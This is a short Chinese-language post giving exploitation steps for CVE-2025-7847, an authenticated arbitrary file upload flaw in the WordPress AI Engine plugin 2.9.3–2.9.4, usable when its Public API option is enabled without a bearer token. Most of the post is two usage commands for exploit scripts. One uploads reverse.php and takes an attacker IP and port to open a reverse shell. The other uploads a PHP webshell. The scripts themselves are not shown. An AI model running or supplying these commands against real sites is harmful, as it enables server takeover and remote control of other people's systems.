WordPress插件AI Engine任意文件上传漏洞利用详解

本文详细介绍了CVE-2025-7847漏洞的利用方法，涉及WordPress插件AI Engine 2.9.3-2.9.4版本，包含自动化利用脚本和WebShell上传两种方式，需要特定配置条件才能利用。

CVE-2025-7847 WordPress插件认证订阅者任意文件上传POC

WordPress插件AI Engine 2.9.3 - 2.9.4 概念验证

请注意，此漏洞仅在"Public API"选项启用时才能被利用，该选项默认禁用，且未配置Bearer Token，也未添加和使用自定义身份验证来保护API。

自动化版本

1

python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

仅Web Shell上传

1
2
3
4
5


python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php

comments powered by Disqus